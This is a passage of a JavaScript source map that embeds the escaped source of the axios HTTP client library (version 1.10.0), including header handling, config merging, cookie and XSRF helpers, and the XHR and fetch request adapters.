key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\nimport utils from \"../utils.js\";\n\nexport const progressEventReducer = (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null,\n [isDownloadStream ? 'download' : 'upload']: true\n };\n\n listener(data);\n }, freq);\n}\n\nexport const progressEventDecorator = (total, throttled) => {\n const lengthComputable = total != null;\n\n return [(loaded) => throttled[0]({\n lengthComputable,\n total,\n loaded\n }), throttled[1]];\n}\n\nexport const asyncDecorator = (fn) => (...args) => utils.asap(() => fn(...args));\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n let threshold = 1000 / freq;\n let lastArgs;\n let timer;\n\n const invoke = (args, now = Date.now()) => {\n timestamp = now;\n lastArgs = null;\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n fn.apply(null, args);\n }\n\n const throttled = (...args) => {\n const now = Date.now();\n const passed = now - timestamp;\n if ( passed >= threshold) {\n invoke(args, now);\n } else {\n lastArgs = args;\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n invoke(lastArgs)\n }, threshold - passed);\n }\n }\n }\n\n const flush = () => lastArgs && invoke(lastArgs);\n\n return [throttled, flush];\n}\n\nexport default throttle;\n","import platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ? ((origin, isMSIE) => (url) => {\n url = new URL(url, platform.origin);\n\n return (\n origin.protocol === url.protocol &&\n origin.host === url.host &&\n (isMSIE || origin.port === url.port)\n );\n})(\n new URL(platform.origin),\n platform.navigator && /(msie|trident)/i.test(platform.navigator.userAgent)\n) : () => true;\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL, allowAbsoluteUrls) {\n let isRelativeUrl = !isAbsoluteURL(requestedURL);\n if (baseURL && (isRelativeUrl || allowAbsoluteUrls == false)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, prop , caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, prop , caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, prop , caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b , prop) => mergeDeepProperties(headersToObject(a), headersToObject(b),prop, true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url, newConfig.allowAbsoluteUrls), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport {progressEventReducer} from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType, onUploadProgress, onDownloadProgress} = _config;\n let onCanceled;\n let uploadThrottled, downloadThrottled;\n let flushUpload, flushDownload;\n\n function done() {\n flushUpload && flushUpload(); // flush events\n flushDownload && flushDownload(); // flush events\n\n _config.cancelToken && _config.cancelToken.unsubscribe(onCanceled);\n\n _config.signal && _config.signal.removeEventListener('abort', onCanceled);\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (onDownloadProgress) {\n ([downloadThrottled, flushDownload] = progressEventReducer(onDownloadProgress, true));\n request.addEventListener('progress', downloadThrottled);\n }\n\n // Not all browsers support upload events\n if (onUploadProgress && request.upload) {\n ([uploadThrottled, flushUpload] = progressEventReducer(onUploadProgress));\n\n request.upload.addEventListener('progress', uploadThrottled);\n\n request.upload.addEventListener('loadend', flushUpload);\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport utils from '../utils.js';\n\nconst composeSignals = (signals, timeout) => {\n const {length} = (signals = signals ? signals.filter(Boolean) : []);\n\n if (timeout || length) {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (reason) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = reason instanceof Error ? reason : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n timer = null;\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal.unsubscribe ? signal.unsubscribe(onabort) : signal.removeEventListener('abort', onabort);\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = () => utils.asap(unsubscribe);\n\n return signal;\n }\n}\n\nexport default composeSignals;\n","\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize) {\n for await (const chunk of readStream(iterable)) {\n yield* streamChunk(chunk, chunkSize);\n }\n}\n\nconst readStream = async function* (stream) {\n if (stream[Symbol.asyncIterator]) {\n yield* stream;\n return;\n }\n\n const reader = stream.getReader();\n try {\n for (;;) {\n const {done, value} = await reader.read();\n if (done) {\n break;\n }\n yield value;\n }\n } finally {\n await reader.cancel();\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish) => {\n const iterator = readBytes(stream, chunkSize);\n\n let bytes = 0;\n let done;\n let _onFinish = (e) => {\n if (!done) {\n done = true;\n onFinish && onFinish(e);\n }\n }\n\n return new ReadableStream({\n async pull(controller) {\n try {\n const {done, value} = await iterator.next();\n\n if (done) {\n _onFinish();\n controller.close();\n return;\n }\n\n let len = value.byteLength;\n if (onProgress) {\n let loadedBytes = bytes += len;\n onProgress(loadedBytes);\n }\n controller.enqueue(new Uint8Array(value));\n } catch (err) {\n _onFinish(err);\n throw err;\n }\n },\n cancel(reason) {\n _onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport {progressEventReducer, progressEventDecorator, asyncDecorator} from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst test = (fn, ...args) => {\n try {\n return !!fn(...args);\n } catch (e) {\n return false\n }\n}\n\nconst supportsRequestStream = isReadableStreamSupported && test(() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n});\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported &&\n test(() => utils.isReadableStream(new Response('').body));\n\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let composedSignal = composeSignals([signal, cancelToken && cancelToken.toAbortSignal()], timeout);\n\n let request;\n\n const unsubscribe = composedSignal && composedSignal.unsubscribe && (() => {\n composedSignal.unsubscribe();\n });\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'include' : 'omit';\n }\n\n // Cloudflare Workers throws when credentials are defined\n // see https://github.com/cloudflare/workerd/issues/902\n const isCredentialsSupported = \"credentials\" in Request.prototype;\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n credentials: isCredentialsSupported ? withCredentials : undefined\n });\n\n let response = await fetch(request, fetchOptions);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || (isStreamResponse && unsubscribe))) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n const [onProgress, flush] = onDownloadProgress && progressEventDecorator(\n responseContentLength,\n progressEventReducer(asyncDecorator(onDownloadProgress), true)\n ) || [];\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onProgress, () => {\n flush && flush();\n unsubscribe && unsubscribe();\n }),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && unsubscribe && unsubscribe();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n unsubscribe && unsubscribe();\n\n if (err && err.name === 'TypeError' && /Load failed|fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.10.0\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function 